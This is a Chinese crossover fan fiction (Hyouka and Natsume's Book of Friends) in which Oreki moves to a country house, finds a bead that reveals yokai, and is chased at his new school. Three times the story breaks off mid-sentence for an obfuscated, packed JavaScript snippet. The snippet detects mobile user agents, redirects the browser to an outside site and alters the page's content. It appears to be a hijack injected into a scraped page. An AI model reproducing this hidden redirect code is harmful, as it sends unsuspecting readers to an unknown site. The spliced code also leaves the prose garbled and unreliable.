《节能少年今天又被妖怪耗能了》 1. 第 1 章 “奉太郎，说不定到了那里你会忙起来哦。” 这近似预言又如诅咒般的话在折木耳里变得相当不动听，特别是在告别神山市，去往未知地方的时候。 路边的嘈杂及渐渐盖过对话声，瞧里志乐得不行，折木心里那一点愁意渐渐变成不爽。 “你来送我就是为了说这个？” 折木没好气道。 “毕竟你总是把那句话挂在嘴里，我在想，奉太郎到了新地方会不会产生什么新的变量。” 里志说的正是折木奉太郎一直以来的人生信条：没必要的事不做，必要的事尽快做。 倒也不是为了偷懒，只是折木觉得没有必要的事，不必要花精力投入而已，虽然自己实践这套理论时很容易被人误解，但他并非那种在意别人看法的人，索性就无所谓起来。 “怎么可能。”折木对自己的节能主义无比肯定，闷哼一声表示抗议。 “说的也是，”里志不出所料地笑出声，随即接上另一个话题，“你姐姐不和你一起去？” “不了，这个时间她应该在贝拿勒斯，就算回来也只会回神山市。” “这就是大学生的从容吗？” “是拿她没一点办法。” 折木吐槽道。 “真麻烦呐，还以为我们能在同一个高中上学，命运却如此残酷将我们分开，这就是世事无常吗？”里志发出灵魂感叹。 是麻烦。折木心里只同意他的第一句，可惜家里的变动让他只能优先顾家人的想法，没法拒绝的话，那就只能接受。 折木兴致缺缺地接过里志的饯别礼，重新打量起眼前这位老朋友，即便到了分别时刻，对方也不会特地表现出伤感，也不会出现电视剧里酸鼻子的台词，他们依然按照平常相处般对话。 不如说这就是他和里志的特别之处。 “奉太郎，到地方记得给我打电话哦。” “嗯。”折木冲他点点头，将行李放上后备箱，就上了车。 车里的空气略微有些阴郁，鼻子吸进的皮革和烟草混合的气味让他蹙眉，和驾驶座的父亲打了声招呼，折木将车窗打开一条缝，调整好坐姿准备睡一觉。 不过车子启动时，他还是下意识看向窗外朝他挥手的福部里志。 总是提着一只束口袋，挂着笑意的朋友大概要好长时间见不到了，也是这种时候，折木心中淡淡的低落情绪又冒了出来。 那句临别预言应该不是故意揶揄他之类的，说不定只是特意祝福他的反话，不管如何，新生活的确要开始了。 折木闭上眼后这么想着。 那之后，他承受了他人生中长达十小时的痛苦经历，不得不说他和长途旅行简直不适配到新的地步。 胃里的翻江倒海让折木脸色变得很难看，到了地点呕吐的欲望不降反增，他想，这绝对不算什么好的开始。 父亲体谅他，让他先在附近走走，折木没推辞，只带了钱包就离开了他们即将搬进去的房子。 看着自己空虚的影子模糊地踩在脚下，某种似曾相识牵动了不适的感觉，折木微微移开视线打量起周围的环境。 他们搬到的地方是熊本县的某个小镇，位置相对偏僻，一眼望过去都是山林田野，绿荫如盖，其中的房子基本是一户建，很符合日本人对住宅的传统偏好。 迎着山野刮来的风，折木将胸口那股闷气吐了出来，稍稍缓解了晕车的压力。 他想，虽然没有城内方便，但这就是乡下的好处吧。 这么想着，他脚步一顿，正准备返回，一旁的树林倏然发出很大的动静。 哗地一声，蹿出一个身影，把折木吓了一跳。 仔细一看，是个穿着校服的男生，和他年龄相仿。 对方从暗沉沉的树林中跑了出来，头上身上都是树叶和泥土，像是被什么东西追赶逃出来。 折木心脏直跳，他猜想不会是什么野猪或者狼吧，要是这样的话，那他自己多半也危险了。 他身体下意识摆出警惕的动作，可那个男生身后并没有追出什么东西，反倒是盯着空气露出惊慌失措的表情。 而当视线流转到折木身上猛地顿住了，似乎没想到会在这个时候遇到人。 “抱歉！” 不等折木反应，男生冲他喊了一句后，又自顾自地跑了。 没能理解眼前的状况，折木满脑子都是问号，这时，紧随在男生身后吹来一阵飓风，像是刀子般刮在身上，吹得皮肤生疼，折木不得不用手抵挡，等睁开眼睛后，男生的身影早就不见踪影。 那个人在跑什么？ 折木抓抓被风吹乱的头发，又将视线投递到那片树林，不知为何空气转冷，吹来的风冻得他一哆嗦。 算了，和他没有关系，还是尽早回去吧。 只是男生的表情让他有一丝莫名的在意。 回到住处，客厅地板上一堆东西如高塔林立，父亲在指挥着搬家工人搬到房间里，敞开的窗户不时传来搬东西的声音，安心的感觉再次回荡在胸口，折木松了口气，随即加入了搬家的行列。 “奉太郎，外面怎么样？”父亲见到他，兴致满满地询问起来。 “还行。”折木没什么不满，若是没有刚才的插曲就更好了。 父子俩有一搭没一搭地聊着天，等到天色渐晚，搬家工人离开了，折木才将今后的住处审视一遍。 与本地统一性的木质结构一户建，墙壁和屋檐看上去有些破旧，但收拾干净后，又变得很有生活气息。 这是某个远亲的房子，血缘算不上有多亲近，听说是个孤僻又古怪的老爷子，一人独居在这，去世前没人知道，是邻居报警打了电话，才知晓有那么一个人存在。 当时折木还小，葬礼是父亲联同其他人办的，他无缘参与，只是留下的房子很是让人头疼。 在这种乡根地带的房子根本卖不出什么好价钱，亲戚们嫌麻烦退而远之，反倒是他的父亲因为工作原因，接手了这套房子，拿来作为他们现在的居住地。 父亲从搬进来开始就对这个房子很满意，折木没什么特别的感慨，在得知自己拥有二楼的那间大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266232|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间时，才提起了本就不多的兴趣。 “对了奉太郎，二楼房间好像有叔父的遗物，你看看有没有有用得上的东西。” 话里“你可以随意处置”的意思很明显，折木没说什么，点头同意后便上了二楼。 拉开门扉，暮色笼罩的宽敞房间中，除了里面的一隅，其余部分都空空荡荡的，折木走过去察看，发现是一个对着墙壁的长桌和书柜，里面摆放着零零散散的书籍，上面布满了灰尘，想要清理干净的话很消耗能量。 折木叹了口气，只能尽快清理这片区域。 他一边打扫，一边翻阅书籍，他抽出一本封皮写着《今昔物语集》，里面记录着一些抽象的画和晦涩难懂的古文注解，辨认几句未能领悟其意，只能从图上各种奇怪的长相大概了解到这是本什么书。 妖…怪…杂谈吗？ 折木翻了几本就愣了好几次，心想，这位陌不相识的远亲竟然有此等爱好，不可小觑。 而且看这些书古旧的程度，这可不是什么能随意处置的东西，要是有价值的话，说不定还得联系旧书店处理。 这么想着，折木又完好地将书归为原处，目光扫过桌下不起眼的盒子。 这里面不会是古董什么的吧？ 有了先前之鉴，折木怀着忐忑的心情，打开那个盒子，里面装着的反而不是什么起眼的东西。 “这是什么？” 折木从盒子里拿出一颗玻璃珠，有弹珠那么小，不过珠子里面雾蒙蒙的，看不出是什么材质。 出于好奇，折木将珠子凑近至眼前，借着头顶的光线，打算仔细看看。 就在瞳孔对准那颗珠子时，奇怪的事情发生了，珠子里的雾气迅速散开，露出妖异的微茫，一张人脸浮现在里面，它似乎发现折木看着自己，竟朝他露出古怪可怖的笑容。 “哇——” 这出乎意料的景象把折木吓得不轻，瞳孔都放大了许多，甚至叫出了声，他将玻璃珠丢了出去，在地板砸出不小的声响。 “奉太郎，出什么事了？”楼下的父亲似是听到他的叫声询问道。 “没，没事。” 折木失神好一会儿才勉强出声，他朝方才用玻璃珠对准的方向看去，才注意到木桌上方有一张垂下来的古画，上面画着一个被众花拥簇的女人，手拿纸扇，表情明媚灿烂。 刚刚看到的应该是那张画的人吧，那笑脸……应该是错觉。 折木冷静下来后，如此思索着。 不过那么明显的古画，刚才收拾的时候为什么没注意到？ 他捏了捏眉心，总觉得这房间的氛围哪里怪怪的。 将丢出去的玻璃珠拾起来，折木注意到珠子还是雾蒙蒙的，表面连个裂缝都没有。 这个时候，折木听到楼下的父亲叫他，他应了一声，将珠子揣进裤子的口袋里，起身关灯下楼。 关掉灯的房间顿时陷入一片漆黑，黑暗将所有事物淹没。 明明没有风，挂在墙上的画兀自浮动，画中的美人表情也从微笑渐渐变得扭曲诡异。 2. 第 2 章 折木揉着肩颈下楼，就见一个陌生的女士站在门口，手上还端着一锅东西。 “真是麻烦您费心了，藤原太太，原是我们主动拜访才对，还要劳烦您亲自送东西过来。” “没事没事，这只是我的一番心意，听说折木先生要搬到隔壁了，才尽早做好准备。” 说话的人细长而清隽的眼睛温柔地笑着，茶色的瞳孔流露出澄净的光泽。 这是住在他们隔壁的藤原一家的太太，藤原塔子。 “哦对了，这是犬子折木奉太郎，过几天就会去学校报道了。” 酸痛的肩膀被自家父亲用力一拍，折木差点露出失礼的表情，他连忙弯下腰，做了个“远道而来有失远迎”的僵硬笑脸。 “您好…” “哎呀，是个小帅哥呢。” 折木感觉自己的脸烫了好几度。 “说起来我们家贵志也在那所学校就读，说不定能和折木君同一个班呢。”藤原塔子笑容可鞠道。 “那真是蛮有缘分的。”父亲接上对话。 在邻居间的客套话结束之前，折木被吩咐将藤原太太送来的炖菜放进厨房里，不用揭开锅盖就能闻到很香的味道，很容易勾起食欲。 折木伸了伸懒腰，脑海又浮现出想到先前在屋子里看到的情形，又不自觉地掏出那颗玻璃珠，这一看不要紧，没想到那颗珠子被他捂得有些发热，里面的雾气竟然散开了，绽出幽蓝的微光。 “这是什么原理？”折木脑海划过学过热缩冷涨的常识，但很快又认定眼前这东西不能与其一概而论。 再次将玻璃珠凑近眼前，除了那抹微蓝，似乎还有什么人影在珠子里动来动去。 折木移开视线，那动来动去的方向正好是盛放着炖菜的锅顶位置。 眼花了吧。 折木揉了揉眼睛，再次透过珠子对准锅盖看去。 这次看清楚了，那动来动去的身影真的是个人，应该说是个身高不足一根手指的和服小人，长着张马脸，两颗黑溜溜的，宛如芝麻大小的窟窿眼睛长在两侧，嘴里吐着“打开了、打开了”的细碎话语。 这诡异的小东西正努力推着炖菜的盖子。 大概折木的视线过于强烈，正在推盖子的小人察觉到什么，转头就和锁定自己的大脸对上。 小人被吓得人仰马翻，一边用尖细的声音怪叫着“看到了！被人类看到了！”，一边火速逃跑。 “喂！”折木叫了一声，却让小人跑得更快，眨眼就消失不见了。 该被吓跑的究竟是谁…… 折木嘀咕一句，却不觉得害怕，或者说没有之前那张笑脸有冲击力。 但这样的情况也意味着相当麻烦的后果，此时内心全部写在脸上的折木奉太郎深深叹了口气。 他好像看见不该看见的东西了。 …… “奉太郎，你看起来没胃口啊，是不是还不习惯这里？” 父亲大快朵颐吃着美味的炖菜，注意到儿子顶着“大难临头”的阴沉表情，忍不住开口问道。 眼看对方要夸夸其谈，折木可没心情听，立刻摇了摇头。 理智说服自己要对刚才的事缄默不言，但要自己完全不在意，那才是打肿脸充胖子。 “还有其他房间可以睡吗？”折木慢慢吞咽完碗里的味增汤，不动声色道。 “怎么？二楼那个大房间你不满意？” “感觉朝向不太好。” “你小子别得了便宜还卖乖。” 直接被误解了。 本就对沟通没报太大期望的折木神色恹恹，碍于明早要去新学校报道，他只能对自己所遭遇的事件睁一只眼闭一只眼。 所谓子不言，鬼不语。只要无视，就能当做什么都没发生过，再乱神的东西只要不去招惹就行。 坚信这个说法的折木和挂在墙上的画中女子目光交汇了一会儿后，钻进被子倒头就睡。 哦对了，忘记给里志那家伙打电话了，明天再打吧。 被怠惰包裹全身的折木闭上眼，原以为会睡不着，结果反而睡得死气沉沉，他很快坠入了很深的梦境。 他梦见被风吹起的书页，潮湿的空气中不知何时充斥着一股糜烂的花香，而点亮那一隅的烛火为笼罩在其中的朦胧之景镀上一层清冷的微茫。 有个老人坐在那里，只要看过去正好能瞅见对方的侧颜，陌生但很亲切。 对方正神情肃穆地在用毛笔在草纸上写字，不时停下来从书架上翻出一本古籍进行研究，或者端起茶杯轻饮一口。 空气的花香愈渐浓烈，似是感应到什么，老人抬头与画中人对视，随后老人露出愉悦的笑容，并念着折木听不清的话语。 奇妙的是，画中美人明亮的部分被烛光染成橙色，茜色的身影竟整个探出古画，与老人交谈甚欢。 接下来的景象光怪陆离，不知为何却让做梦的折木产生不符合他原则的好奇。 那两人是谁？ 那从画中探出身形的女子，到底是…… “滴滴滴——” 虚幻的梦泡被毫不留情的击碎，掀开眼皮的同时，伴随着右半部分身体被压麻的不适，让折木产生被谁挤压过的不真实感。 他呻吟着从床上爬下来，疲惫从脚底涌向四肢五骸，仿佛被那场梦榨干了所有力气，恍惚了一会儿，目光瞥见角落的书桌，大脑一下子清醒了过来。 那张木桌上多出了几片粉色的花瓣。 “……” 折木拾起桌上的花瓣，望向墙上固定的古画想再度叹息。 被未知事物侵蚀日常的异变真是毛骨悚然，自己真的有勇气无视到最后吗？ 这么想着，他快速穿好衣服，拿起书包下了楼。 父亲早在他来这里之前就办好了入学手续，自己只用走个过场就好。 尽力无视梦境对自己的心理产生的微妙变化，折木向一班的学生做完自我介绍后，决定将自己的节能主义贯彻到高三毕业，也就是毫无波澜持续自己的非耗能状态，即便是不经意间看到不该看到的东西也是一样。 暗自下定不可靠的决心，仅仅在数小时后就被轮番打破。 “折木同学，为什么要从城内转学到这里来啊？” “呃……因为家父工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266233|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘故。” “神山市有什么好玩的？” “呃……” “折木同学……” “……” 第一次被热情的簇拥，多少让折木的呼吸紊乱，很快他冷静下来，僵着笑容略微敷衍地回答他们的问题，罕见的，节能模式惨遭破坏。 “话说回来，我们年级今年转学进来的一下子就有了三个人诶，我们高中是什么香饽饽吗？” 坐在折木前排的北本忍不住发表自己的感想。 “没什么特殊原因吧，毕竟夏目和田沼就住在附近嘛。” 听着他们谈论着与自己无关人的事，折木没插话，自己不擅长交际，不动声色地度过每一分每一秒便是他现下所求。 “不过我好像看到折木也是从夏目家的方向走过来的，说不定认识呢。” 提出猜想的是田沼要，是坐在他右侧的黑发男生，长相清秀干净，感觉很好相处。 不想把话题落回地上，折木稍微沉思几秒：“……我不太清楚，我昨天才刚到这里，没怎么见过其他同龄人。” 散步时遇到的那个男生不算。 “这样啊，不过以后就能认识了。”田沼如此道。 折木对他的话不置可否，虽然没有扩大交际圈的打算，但也没理由做出回避的举措。 下一堂课铃声响起，折木感受到口袋传来一阵热意，心中一跳，偷偷将袋中的物品掏出，是那颗玻璃珠。 出于某种心理，折木还是将它带了出来。 与此同时，田沼发出一声“嘶——”，他捂着头，面容痛苦难耐。 折木注意到他的情况：“你怎么了？” “……没什么，只是有些头痛。” 可他的情况似乎很是槽糕，连老师都注意到他。 “田沼，你脸色很糟糕，是身体不舒服吗？”老师问。 田沼捂着头犹豫了会儿，才轻轻点了点头。 “那就你旁边的同学送你去吧。”老师点了折木。 让刚来的转学生送人去医务室会不会不太合适……折木心里对老师如此大条的选择感到无奈。 他扶着田沼走出教室。 “医务室要怎么走？”折木表示自己完全不知道路。 “我知道路，”田沼说完，又愧疚地补充了一句，“抱歉啊，让你陪我跑一趟。” “没事。” 折木语气淡淡的，但口袋里那颗不断发烫的珠子让他有了些许不好的预感。 两人在无人的走廊走着，此时外面晴光大好，光线从窗户射进来将两人的影子投射到墙壁上。 折木注意到田沼时不时看向内侧的墙壁，脸上的神情多了一丝不安。 “怎么了？” “…没什么。” 折木顺着他的目光瞥向墙壁，除了他们两个人的影子，别无其他，所以田沼是看到了什么他看不到的东西吗？ 这番猜测只是基于之前在家里的诡谲体验，以及被他攥在手里的古怪珠子。 若此时他用那颗玻璃珠去看田沼看到的东西，自己是否会被那未知的异界卷入其中？ 3. 第 3 章 “啊，没想到医务室这么偏远。” 达到目的地时，折木忍不住发出一句感慨。 比起活动身体，他更偏向活动大脑，若是仅能靠思考就能解决问题，他非常乐意至极。 听到这轻声嘟囔，一直紧绷的田沼放松下来，笑道：“这倒是，来回走一程的话，说不定能磨到下课。” 有道理，折木彻底无言以对。 两人一前一后走进医务室，碰巧的是，值班老师不在。 折木看了眼桌上还在冒着热气的咖啡，心想，真是不凑巧。 “那我坐在这等一下，折木你要先回去吗？”田沼摸着额头，表情似是在忍痛，话中却是不想麻烦他的意思。 折木看了下手表，又估算了回去的时间后，便拉开值班老师的椅子坐了下来：“不了，留你一个人在这也不好。” 更何况因为珠子的关系，这里应该有其他东西窥视着他们的存在，如果自己贸然离开，造成两人独自一人的情况，不管是他还是田沼，都会产生无法预估的危险。 这话是经过深思熟虑后开口的，却让田沼误解了：“折木看起来冷淡，实际还挺温柔的。” 听到这话，折木有点尴尬，轻轻别开视线看向窗外。 “只是想稍微偷个懒，这里离教室太远了。” 这蹩脚的借口让田沼笑了笑，但很快因为头痛又移开了注意力，与此同时，折木也觉得不对劲，明明外面阳光明媚，而室内的光线却被什么隔绝似的，周围可见度明显变暗。 绝对有什么东西。 折木微微松开手指，玻璃珠已经烫得扎手了。 “稍微有点闷，我去开个窗。” 折木起身走到窗子旁，借着开窗的动作，他将玻璃珠凑近眼前。 透过珠子，反射在玻璃窗上的画面让他的瞳孔放大。 一个黑色的庞然大物贴着天花板，垂下来的细长脑袋正盯着自己这边看。 已经分不清这是虚幻还是现实，某种冲破理智的情绪被折木努力压抑住了，他知道自己不能做出过激反应，要是那东西知道自己看得见它，那才是要完蛋。 折木在那呆立了十几秒，黑影似乎有所察觉，挪动着身子扭曲着向他爬来。 就在快要挨到后脑时，折木猛地一个转身，与黑影来了个脸贴脸，这突发情况反倒把黑影吓得退了几步。 折木面无表情地绕过它。 “田沼，你的头还痛吗？” “有一点。”可能折木表情的僵硬过于明显，田沼愣了愣，“怎么了？” “没事，我去上个卫生间，如果值班老师来的话麻烦帮我说一声。” “喂，折木……” 田沼刚要说什么，却见折木已经快步走了出去。 “喂……诶？” 在折木离开后，田沼的头疼紧接着就消失了。 他摸着头，似乎意识到什么，连忙翻身下床。 难道是…… 另一头，折木没有跑动引起注意，但脚下的速度很快，在拐到一楼的楼梯口时，他迅速转身躲进角落，靠着放在那的杂物掩体蹲下来，捂住口鼻，屏蔽呼吸，并用玻璃珠观察着外面。 果然，那个大型黑影跟着他追了下来，只是行动比较迟缓，没能跟上他的速度，一个转弯就跟丢了。 “去哪了？” 黑影发出厚重的声音，它转转脑袋没看到折木，便随便选了一个方向离开了。 那东西真的是冲自己来的！ 折木捂着口鼻的双手稍稍一松，轻轻吐出一口气，神经松懈下来后，才发现手心和后背全是汗。 他想，真不该做自己不习惯的事，不过以现在的情况，不习惯也只能硬着头皮去习惯了。 幸运的是，那东西目标是自己，所以田沼不会有危险。 不幸的是，虽说是最后一节课，但不可能一直躲藏下去，回家的话要是把东西引进家里可就麻烦了。不知道这附近有没有寺庙或者神社什么的……早知道就不该大意到现在，而不采取任何行动。 在他感到进退两难的时候，有什么细小的声音钻入他耳朵里。 折木看了看四周，没有任何人，但那声音还在持续说话，仿佛就在自己眼前。 他的表情瞬间警惕起来，拿出玻璃珠对准声音的发源处，只见昨天在厨房看到的马脸小人坐在自己的膝盖上，像是在和他说话，又像是在自言自语：“它会找到你的，躲不掉的。” “为什么？”折木忍不住出声。 “当然是因为这颗珠子。” 马脸小人说着，后知后觉才发现是有人在跟自己说话，视线往上一抬，又发出啊啊啊啊的怪叫。 “闭嘴。”折木想捂它的嘴，没想到会直接碰到它，那真实的触感让折木一激灵，瞬间缩回了手。 “人，人类，你能看得到我？还能碰到我？” 马脸小人虽然被吓得从折木膝盖上掉下来，但并不像昨天那般直接逃跑。 折木扯了扯嘴角，对这两个已经实践过的问题懒得回答，不过令他在意的是另一个问题。 “你说那东西追我，是因为我手上的珠子？” 马脸小人点头：“你手上的珠子蕴藏着巨大的力量，普通妖怪吃了后会增强妖力，说不定能借此突破成高阶大妖。” 妖怪…… 折木眉头蹙起，他看着手上的珠子，心里流露着一丝丝懊恼，这种东西谁碰到谁倒霉吧。 “如果我把珠子给它，是不是就不会再来找我了。” “什么，这万万不可以！”马脸小人一听，连忙挥舞着它短小的手。 “为什么？” “当然是因为这是行舟的东西，不可以给别人！” “行舟？”折木念着这个陌生的名字，完全没听过，“谁啊？” 马脸小人似乎觉得折木问了个白痴问题，愤怒跳上折木的膝头，指责他说：“是那座房子的主人啊！不管是你手上的东西，还是房子里的东西，都是属于行舟的！” 说到这里，它稍微停顿了下，露出哀伤的表情。 折木算是反应过来它说的是谁，行舟这个名字应该是折木家那位逝世的远亲，怪不得那间房间会有那么多关于妖怪的书。 完全出乎意料之外的事情发展令他有一瞬间混乱，但还不至于让他忽略其中的关联性：“也就是说我的那位叔公……行舟先生能看得见妖怪。” “这是当然的。” 似乎又问了个蠢问题，马脸小人用一副怒其不争的表情说道：“总之，你既然是他的血亲，就应该保护行舟留下来的遗物，不能让他们被抢走。” 呃，你太看起我了。 莫名其妙就被委予如此重任的折木，回怼这自说自话的家伙：“我只是个普通人类，这种事你应该找更厉害的家伙才对吧！” 他来这里只想安稳地度过高中生活，根本就不想和妖怪打交道。 “怎么这样！”没想到会遭到明确的拒绝，马脸小人一脸欲哭无泪。 折木还想再说什么，却感受到头顶一道发凉的视线正死死盯着他。 他顿时绷直了脊梁，都不用珠子看，就预感不妙地起身往外跑。 该死，被发现了。 他边跑边用玻璃珠向身后看去，果然那黑影般的妖怪正沿着天花板追来。 “好可怕！好可怕！” 肩膀上突然出现声音，折木视线下移，那小马脸竟坐在他肩膀上。 真是够了。 折木开始绝望地想。 下课铃声如同救命稻草般响了起来，走廊涌出了大量的学生，看到此景，从未有过劫后余生的喜悦涌入心头。 这样那妖怪就不会追过来吧。 事实上，那是他的错误幻想，尽管整条走廊人声鼎沸，却抵挡不了一个看不见的妖怪的行动，反而看得见的自己很有可能会被周围人当成怪人。 马上就要接近楼梯了，折木已经做好一鼓作气冲出去的打算，也是这种关键时刻，他撞到了人。 身体遭受猛烈撞击又反弹的疼痛，让折木和另外一个人都发出不小的惨叫。 “我去，夏目，你没事吧？” 同班同学北本和同行的好友西村悟扶住了将要摔倒的夏目，而折木身后也正好有人，才避免屁股开花的结果。 “折木？”北本见是折木，一脸疑惑地看着他，“田沼没跟你一起吗？” “他应该在医务室，我……” 被身后同学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266234|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶起的折木根本无法对看不见的人说出真相，他算是体会到处于两个世界的人无法沟通的痛苦了。 “啊……” 不过，有一人做出了不一样的反应。 折木看向对方，是被他撞到的人，也是昨天散步遇到的男生。 “怎么了，夏目？” 听到惊呼声，北本将注意力转移到身边的好友。 夏目两眼紧盯着折木身后的妖怪，反应过来时，顿时干笑着对身边人说道：“没什么，对了我有点事，我先走了！” 说着他竟然转身下楼，完全没给北本几人反应的时间。 在夏目跑动的瞬间，折木感觉到一股冷意从自己头顶掠过，同时还听到“友人帐”“给我友人帐”等字眼。 待他拿起玻璃珠看过去时，发现那个庞大的妖怪已经顺着楼梯追下去了。 那妖怪改变目标，追着那个人离开了？ 折木有那么一刻傻眼。 “折木！” 肩膀被一只手拍住，让愣怔的折木回过了神。 “你没事吧！”田沼喘着气追上了他，很明显，他找折木找了好一阵子，在意识到自己的头痛是妖怪导致的，他就担心离开的折木会有什么危险。 “……没事，只是那个人不会有事吗？” “你指的是夏目的话，那应该没事，他以前总是这样突然跑掉。”北本用见怪不怪的口吻说道。 闻言，折木心里产生一丝愧疚。 仅仅只是看到表情，就能了解那个叫夏目的人也能看到妖怪，对他人有意为之的隐瞒，也能看出对方已经经历过无数次这样被妖怪穷追猛赶的生活了。 “那是夏目大人。” 耳边冷不丁冒出了一句。 “你还真是好运，那可是传说中拥有友人帐的夏目大人！比起你手中的珠子，估计还是友人帐更吸引妖怪吧。” 耳边的小妖怪的感叹转而又变得严肃起来：“不过那妖怪还是会找上你的，如果它意识到吞掉珠子再去抢友人帐的话，那你还是逃不掉。” “而且就算你把珠子给了那只恶妖也没什么作用。” “一旦知道你能看到妖怪肯定会缠上你的。” “所以你最好赌上性命想尽办法守住行舟的东西。” 最后一句有几分幸灾乐祸的意味。 “……” 虽然在同学面前不能表达此时的愤怒，但折木还是不爽地将小妖怪从肩膀上弹飞出去。 与此同时。 太阳已经渐渐沉没，夏目贵志穿过树林朝下奔跑，因为持续的消耗体力，他的脸上更添了几分疲惫。 “不准逃跑！把友人帐给我！” 身后的吼叫穿过耳膜，让夏目的速度慢了几拍。 下一刻，他就因为露出的破绽被发狂的妖怪抓住了。 “给我友人帐！快给我友人帐！” “夏目玲子！” 被握住身体的力道让夏目疼痛难忍，但余光中很快出现一只短小的生物。 “哎呀，夏目……你又被妖怪缠上了。” 那慢悠悠的大叔音不知为何听得让人火大，但夏目还是勉强伸出手，向那只不靠谱的猫咪生物求救：“老师……” 然而，那只圆润的生物只是打了个哈欠，开始跳起来追蝴蝶，对夏目的求救视若无睹。 “喂……” “老师……” “给我……” “住手！” 被无视的夏目彻底愤怒了，挣脱的手臂发挥出巨大的妖力，一拳将困住他的妖怪打得倒飞了出去，顺带给自己这个装模作样的保镖也来了一拳。 “明明是保镖，连保镖的职责都做不到吗，老师。”夏目捏着猫咪老师的脸，一脸不满地说道。 “那只不入流的低级妖怪你自己就能打倒了，何必让我这么高贵的大妖出马。” 猫咪老师试图辩解，在得知可能会取消七辻屋的馒头当饭后甜点时，才开始发出“亚达亚达”的声音。 “不过很奇怪……这只妖怪一开始并不是追着我的。” 夏目看着被他打跑的妖怪背影，突然想到刚才在学校遇到的男生。 听北本的称呼，好像叫折木……来着？ 4. 第 4 章 “你又在思考多余的事情了？” 猫咪老师没听清楚他说的话，以为夏目又像往常一样开始多管妖怪的闲事。 “不是妖怪，”夏目平静的表情多了几分思索，似乎发觉了不得了的事，“有个人让我比较在意。” 虽然当时情况混乱，但他清楚地看到折木肩膀上坐着一只小妖怪，而那只在天花板上攀爬的妖怪原本追赶的对象应该也是折木。 “还不确定，但我感觉他貌似能看到妖怪。” “什么？”猫咪老师跳到他的肩膀，“那说不定是除妖人哦。” “除妖人会在这里上学吗？” 夏目吐槽一句，但内心对这个想法还是摇摆不定，毕竟他在更早之前就遇上折木，那个时候的对方确实没有看到追逐他身后的妖怪。 “在意的话，明天问问看不就行了。” 猫咪老师对这种事并没什么看法，有些特殊的人类总是在不经意间闯入另一个世界。 和妖怪接触，就像目盲者第一次看到光，聋者第一次听见声音，这样的世界让人害怕而又痴迷。 如果完全放任感官越界，与妖怪结下缘分，反倒只会徒留悲伤的结局。 …… 折木回到家，看到桌上父亲留的信，就知道今晚只有自己一个人在家。 “你还要跟着我什么时候？” 折木不满地对跟来的小马脸说道，今天可是消耗了他不少的体力，差一点就小命不保，若是一直如此，不仅他的节能生涯，包括人生也该到此为止了。 “这是行舟的房子，我身为行舟的式神当然不能离开这里！”小马脸叉着腰抗议道。 “式神？你吗？”折木完全不信，虽然对妖怪文化知之甚少，但就算够不上安倍晴明那种重量级的阴阳师，也不会挑这种小妖怪来做自己的式神的。 “小小人类，竟然瞧不起我！”小马脸跳到桌上，为了证明自己很强，现场就抱起果盘里的柑橘，用尽全身力气朝折木掷了出去，随后就被对方轻而易举接住了。 “没有瞧不起你，而是我完全没有想要卷入你们妖怪的事情里来，从本质上讲，我只是个没有什么力量的普通人，根本就无法做到你希望我做的事。” 折木露出我心意已决的表情。 “可，可是……那是你叔公的遗物……”小马脸不甘心，打起亲情牌。 “我从未见过他。” 他还没豁达到能为了一个素不相识的远亲做到与妖怪为敌的地步。 “那，那我恳求你，只要你能保护好行舟的遗物，我一定会报答你的，拜托了呜呜。” 小马脸深深低下头，眼泪跟豆子似的往外倒，那模样甚是可怜。 原本想耐心等待对方放弃的折木叹了口气：“别这样……” 小马脸没理会他，只站在那嘤嘤嘤地哭着。 这情势对折木来说可是相当不利，那是只要接受就会陷入万劫不复的陷阱，可一直放任对方哭也不是个办法。 折木抓抓头，想了个折中的办法：“那明天我去拜托阴阳师或者和尚之类的，这样那些妖怪也靠近不了了吧。” 他自以为中肯的建议理所当然地被否决掉了。 “我不要，那些除妖人阴险狡诈，看到行舟的遗物肯定会想占为己有的！” 折木语塞，如果能抛弃尊严像小马脸一样大哭，那他现在也想哭个痛快。 开玩笑的。 既然这不行，那不行，那到底该怎么办才好？ 电话铃在这个时候响起，意识一下子被拉扯到现实，折木总算有理由不再面对妖怪去接电话了。 “喂，这里是折木家。” “哟，奉太郎。” 听到熟悉的声音，折木一愣，随即莫名感动。 “能听到你的声音真是太好了。”他真情实意地感叹。 “哇，你居然这么高兴，才过去两天而已，奉太郎你就这么想念我了？”里志听出折木语气中的感激涕零，有被吓到。 “没有，别自作多情，”折木恢复冷漠，“我只是借你怀念以前的生活。” 再来就是后悔来到这里，遭遇这些麻烦事。 “嘛，你是不是因为乡下与城市差距过大，才如此不适应……不过以我对你的了解，你应该不是会介意这种事的人。” “如果只是不适应这种小问题就好了。” 